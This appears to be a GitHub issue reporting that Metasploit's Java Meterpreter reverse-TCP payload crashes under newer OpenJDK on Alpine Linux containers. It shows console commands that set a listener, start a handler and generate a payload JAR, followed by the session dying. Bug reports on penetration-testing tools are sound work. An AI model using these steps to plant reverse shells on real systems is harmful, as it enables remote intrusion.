You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Alpine Linux is commonly used with Docker container and the default Java platform is usually OpenJDK. Meterpreter crashes with newer versions of OpenJDK.
Generating a payload
msf6 > use payload/java/meterpreter/reverse_tcp
msf6 payload(java/meterpreter/reverse_tcp) > set lhost 192.168.144.1
lhost => 192.168.144.1
msf6 payload(java/meterpreter/reverse_tcp) > to_handler
[*] Payload Handler Started as Job 0
[*] Started reverse TCP handler on 192.168.144.1:4444
msf6 payload(java/meterpreter/reverse_tcp) > generate -f jar -o /home/msfuser/test/payload.jar
[*] Writing 5263 bytes to /home/msfuser/test/payload.jar...
msf6 payload(java/meterpreter/reverse_tcp) >
[*] Sending stage (57971 bytes) to 192.168.144.1
[*] 192.168.144.1 - Meterpreter session 2 closed. Reason: Died
msf6 payload(java/meterpreter/reverse_tcp) > [-] Meterpreter session 2 is not valid and will be closed
The text was updated successfully, but these errors were encountered:
Alpine Linux is commonly used with Docker container and the default Java platform is usually OpenJDK. Meterpreter crashes with newer versions of OpenJDK.
Generating a payload
Meterpreter with OpenJDK version 11
Docker container (Alpine Linux)
Metasploit output
Meterpreter with OpenJDK version 23
Docker container (Alpine Linux)
Metasploit output
The text was updated successfully, but these errors were encountered: